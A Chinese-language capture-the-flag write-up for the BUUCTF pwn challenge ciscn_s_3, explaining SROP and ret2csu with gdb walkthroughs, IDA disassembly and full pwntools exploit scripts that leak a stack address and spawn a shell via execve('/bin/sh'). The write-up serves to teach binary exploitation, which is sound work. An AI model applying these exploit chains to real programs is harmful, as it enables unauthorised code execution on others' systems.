buuctf-ciscn_s_3

2023-09-21 11:24:14

一、srop

参考文章-博客园-wudiiv11(作者)-BUUCTF-ciscn_2019_s_3
参考文章-博客园-z2yh(作者)-Srop 原理与利用方法
在这里插入图片描述
在这里插入图片描述

vlun函数中没有分配栈帧(指rsp没有增长,也没有压入父函数的rbp,这也导致之后的构造payload的时候不需要填充rbp的那8个字节)
首先看中间这一栏,要找binsh的地址,即写入参数的地址,在read函数后打断点,(此时最上面一行rsp=rbp的这一行时写入地址+0x10的位置),在此时stack中找到一个栈上的地址,减去offset =该地址 -(rsp-0x10),就是binsh addr
接下来验证
再看右侧这一栏,打印出来binsh addr,在最后测可以看到输出结果,再在中间遮拦使用x/s命令查看该地址的内容,验证确实为索要得到的内容
在这里插入图片描述



from pwn import * 
from LibcSearcher import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')
ifRemote = 0
if ifRemote:
	io = remote("node4.buuoj.cn",26390)
else:
	io = process("./ciscn_s_3")
popRdiRet = 0x4005a3
syscall_addr = 0x400501
setRax = 0x4004da
main = 0x4004ED
mainWithoutStackSet = 0x4004f1

def debug():
	gdb.attach(io)
	pause()
payload = b'/bin/sh\x00'+b'a'*(0x8) +p64(main)
io.send(payload)

print(io.recv(len(payload)+8))
binsh_addr = u64(io.recv(8)) -0x148
print(hex(binsh_addr))
# debug()
# payload = b'shsh\x00'+b'b'*(0x8+8) 
# io.sendline(payload)
# print(io.recvall())


frame = SigreturnFrame()
frame.rax = 59
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr
payload = b'a'*(0x10+8)+p64(setRax)+p64(syscall_addr)+str(frame)
io.sendline(payload)
io.interactive()

结果本地可以打通

远程打不通

使用以下命令,修改文件的libc
如何使用patchelf修改文件libc参见:
这篇文章的相应段落
在这里插入图片描述

patchelf --set-interpreter ~/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so ./ciscn_s_3
patchelf --replace-needed libc.so.6 /home/iront/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so ./ciscn_s_3 

在这里插入图片描述
(ps:有个奇怪的地方是:rsp的位置好像不在预期的地方,这里没有进行深入的探究)
找到写入的binsh的位置,
在这里插入图片描述
发现先此时偏移量变为了0x118

修改后的exp,其实只把0x148改成了0x118

二、ret2csu

参考博文:CSDN-西杭(作者)-中级ROP之ret2csu
__libc_csu_init函数:

.text:00000000004011B0 ; void _libc_csu_init(void)
.text:00000000004011B0                 public __libc_csu_init
.text:00000000004011B0 __libc_csu_init proc near               ; DATA XREF: _start+16↑o
.text:00000000004011B0 ; __unwind {
.text:00000000004011B0                 push    r15
.text:00000000004011B2                 mov     r15, rdx
.text:00000000004011B5                 push    r14
.text:00000000004011B7                 mov     r14, rsi
.text:00000000004011BA                 push    r13
.text:00000000004011BC                 mov     r13d, edi
.text:00000000004011BF                 push    r12
.text:00000000004011C1                 lea     r12, __frame_dummy_init_array_entry
.text:00000000004011C8                 push    rbp
.text:00000000004011C9                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004011D0                 push    rbx
.text:00000000004011D1                 sub     rbp, r12
.text:00000000004011D4                 sub     rsp, 8
.text:00000000004011D8                 call    _init_proc
.text:00000000004011DD                 sar     rbp, 3
.text:00000000004011E1                 jz      short loc_4011FE
.text:00000000004011E3                 xor     ebx, ebx
.text:00000000004011E5                 nop     dword ptr [rax]
.text:00000000004011E8
.text:00000000004011E8 loc_4011E8:                             ; CODE XREF: __libc_csu_init+4C↓j
.text:00000000004011E8                 mov     rdx, r15
.text:00000000004011EB                 mov     rsi, r14
.text:00000000004011EE                 mov     edi, r13d
.text:00000000004011F1                 call    qword ptr [r12+rbx*8]
.text:00000000004011F5                 add     rbx, 1
.text:00000000004011F9                 cmp     rbp, rbx
.text:00000000004011FC                 jnz     short loc_4011E8
.text:00000000004011FE
.text:00000000004011FE loc_4011FE:                             ; CODE XREF: __libc_csu_init+31↑j
.text:00000000004011FE                 add     rsp, 8
.text:0000000000401202                 pop     rbx
.text:0000000000401203                 pop     rbp
.text:0000000000401204                 pop     r12
.text:0000000000401206                 pop     r13
.text:0000000000401208                 pop     r14
.text:000000000040120A                 pop     r15
.text:000000000040120C                 retn
.text:000000000040120C ; } // starts at 4011B0
.text:000000000040120C __libc_csu_init endp

gadgets1:

.text:00000000004011FE loc_4011FE:                             ; CODE XREF: __libc_csu_init+31↑j
.text:00000000004011FE                 add     rsp, 8
.text:0000000000401202                 pop     rbx
.text:0000000000401203                 pop     rbp
.text:0000000000401204                 pop     r12
.text:0000000000401206                 pop     r13
.text:0000000000401208                 pop     r14
.text:000000000040120A                 pop     r15
.text:000000000040120C                 retn
.text:000000000040120C ; } // starts at 4011B0

gadgets2

.text:00000000004011E8 loc_4011E8:                             ; CODE XREF: __libc_csu_init+4C↓j
.text:00000000004011E8                 mov     rdx, r15
.text:00000000004011EB                 mov     rsi, r14
.text:00000000004011EE                 mov     edi, r13d
.text:00000000004011F1                 call    qword ptr [r12+rbx*8]
.text:00000000004011F5                 add     rbx, 1
.text:00000000004011F9                 cmp     rbp, rbx
.text:00000000004011FC                 jnz     short loc_4011E8

gadgets2
在这里插入图片描述

通用payload

payload = b'a'*(0x10) +p64(main)
io.send(payload)
print(io.recv(len(payload)+8))
binsh_addr = u64(io.recv(8)) -0x118
print(hex(binsh_addr))

# rdx = r15;rsi = r14;rdi(edi) = r13;r12=存放需要调用的函数地址的地址
setRaxForExecv = 0x4004e2
# 有些exp中用的是0x40059A,就是一个add esp 8的区别,那么相应的就在构造payload的时候少填充一个8字节,下面涉及到再说
first_csu = 0x400596
second_csu = 0x400580
def ret_csu():
	#构造栈溢出点的padding
	payload = '/bin/sh\x00' + p64(setRaxForExecv)
	# 下面这行填充的p64(0)就是为了填充add rsp, 8
	#first_csu为gadgets1的地址
	payload += p64(first_csu) + p64(0)
	#使得gadgets2中的while循环能够退出不至于死循环
	payload += p64(0) + p64(1)  # rbx=0, rbp=1 
	# 这里是用作gadget2中的call指令,call  [r12+rbx*8]
	# 由于rbx设置为0,所以r12的地址处应存放一个gadget的地址
	# 这里设置r12的值为 binsh_addr + 8,binsh_addr+8处存放将rax设置为execv系统调用号的gadget
	payload += p64(binsh_addr+8) # r12 = 
	#三个参数的寄存器
	payload += p64(0)*3 # r13 r14 r15
	# gadgets2的地址
	payload += p64(second_csu)
	
	#gadgets2结束后再次执行gadgets1中的内容,会pop出的6个栈的内容+到寄存器1个add esp+8所以paddding的内容为7*8长度
	payload += p64(0)*7
	#函数最后的返回地址
	payload += p64(popRdiRet) + p64(binsh_addr)
	payload+= p64(syscall_addr)
	
	return payload

ret2csu动态调试

从动态调试角度,解释上述脚本构造原因
在这里设下断点开始调试
在这里插入图片描述
程序停在这里(ps,我wsl这台机器里需要在输入命令的界面(非gdb界面)按下两次回车才能开始在gdb中继续调试程序)
在这里插入图片描述
在这里插入图片描述
一路ni到ret指令,程序执行流被劫持到csu_init函数的gadget1位置

在这里插入图片描述
这里执行一次add rsp ,8,将栈抬高了8字节,用p64(0)填充上,然后为rbp,rbx赋值,分别为1,0(原因之后遇到了相关判断再分析)
接下来pop r12,r12是用于接下来的call指令的,
在接下来连续三个pop r13,r14,r15,分别对应rdx,rsi,rdi的值,都赋值为0即可,(execve的第2、3个参数分别为rsi、rdx,均需要为0),所以此处对应p64(0)*3
在这里插入图片描述
继续ni到gadget1的ret

在这里插入图片描述
此时执行了call指令,执行为rax赋值的操作
在这里插入图片描述
执行完rax赋值之后,回到gadgets2中,
在这里插入图片描述
此时进行cmp比较rbx,rbp+1,如果不相等则回到循环,这也是为什么payload中设置rbp = 1,rbx = 0
在这里插入图片描述

在这里插入图片描述
在接下来程序执行一个rsp + 8和6个pop
所以payload中填充p64(0)*7
在这里插入图片描述
再接着就继续执行到pop rdi和syscall了
在这里插入图片描述

更多推荐

【Flink实战】Flink 商品销量统计-实战Bahir Connetor实战存储 数据到Redis6.X

🚀作者:“大数据小禅”🚀文章简介:Flink商品销量统计-实战BahirConnetor实战存储数据到Redis6.X🚀欢迎小伙伴们点赞👍、收藏⭐、留言💬目录导航Flink怎么操作RedisFlink商品销量统计-转换-分组-聚合-存储自定义的RedisSink实战Flink怎么操作RedisFlink怎么操

100G QSFP28 100km光模块最新解决方案

随着信息时代的到来,数据传输的速度和距离要求越来越高。目前,易天光通信发布了具有超低成本、可实现100G超长距离传输新方案——100GQSFP28100km光模块,该方案是在100GZR480km光模块上的全面升级。一、产品概述100GZR4100km是专为100公里光通信应用而设计的产品。易天光通信(ETU-LINK

线程池使用之自定义线程池

目录一:Java内置线程池原理剖析二:ThreadPoolExecutor参数详解三:线程池工作流程总结示意图四:自定义线程池-参数设计分析1:核心线程数(corePoolSize)2:任务队列长度(workQueue)3:最大线程数(maximumPoolSize)4:最大空闲时间(keepAliveTime)五:自

unity 使用声网(Agora)实现语音通话

第一步、先申请一个声网账号[Agora官网链接](https://console.shengwang.cn/)第二步在官网创建项目,选择无证书模式,证书模式需要tokenh和Appld才能通话第三步官网下载SDK然后导入到unity,也可以直接在unity商店里下载,Agora官网下载链接第四步运行官方Demo1、导入

提取数据和标签

提取数据和标签是指从给定的文本或数据集中提取出有用的信息和相应的标签。数据提取可以用于从结构化或非结构化的数据源中抽取所需的数据。例如,从表格中提取特定的字段值、从网页中提取关键词或从文本中提取实体或关系。标签提取是指从文本或数据中确定或推断出所需的类别或标签。这可以是一个二分类问题(如判断一封电子邮件是否为垃圾邮件)

SpringMVC常用注解

除了@PathVaribale请求方式的不同,要用在方法上,其他注解都用在参数上@RequestMapping,@ResponseBody既可以注解在类上,也可以注解到方法上。目录一.@RequestParam二.@RequestBody三.@PathVaribaleRestful风格Restful风格如何实现缓存机制

新能源汽车运行安全性能检验规程需要哪些CAN数据才符合标准

新能源汽车的前生命周期包括了整车制造、使用、转让市场及报废回收这几个主要阶段,在政策大力扶持下,国内新能源汽车的制造产业链完善,补贴培育市场取得丰硕的果实。目前来说,我国新能源汽车有着技术领先、设计先进、低成本优势,在全球范围内都具备很大的吸引力。纯电动汽车及电车技术的出现和发展,实现了国内新能源汽车弯道超车,跨越了百

Opencv之区域生长和分裂

区域生长1.基本原理区域生长法是较为基础的一种区域分割方法它的基本思想我说的通俗些,即是一开始有一个生长点(可以一个像素也可以是一个小区域),从这个生长点开始往外扩充,扩充的意思就是它会把跟自己有相似特征的像素或者区域拉到自己的队伍里,以此壮大自己的势力范围,每次扩大后的势力范围就是一个新的生长点,一直生长一直生长,直

Matlab进阶绘图第30期—冲击图

冲击图是一种特殊的堆叠柱状图。与堆叠柱状图相比,冲击图添加了相邻柱子中相同组分之间的连线,可以更加清晰地表达各组分占比情况。由于Matlab中未收录冲击图的绘制函数,因此需要大家自行解决。本文使用自制的Fbarstacked小工具进行冲击图的绘制,先来看一下成品效果:特别提示:本期内容『数据+代码』已上传资源群中,加群

cmake:target属性POSITION_INDEPENDENT_CODE和INTERFACE_POSITION_INDEPENDENT_CODE的区别

cmake定义的target有两个名字类似的属性:POSITION_INDEPENDENT_CODE和INTERFACE_POSITION_INDEPENDENT_CODE,本文说明它们的含义和区别-fPIC介绍POSITION_INDEPENDENT_CODE和INTERFACE_POSITION_INDEPENDE

matlab读写json文件

Background通常,在matlab中使用mat文件进行数据存储。MAT文件是MATLAB中用来存储数据的二进制文件格式。MAT文件可以包含各种数据类型,包括数字、矩阵、向量、结构体、字符和函数等。但是,当和其他语言有交互时,mat文件会不太方便。而json格式在许多编程语言中,包括MATLAB,都有提供解析和创建

热文推荐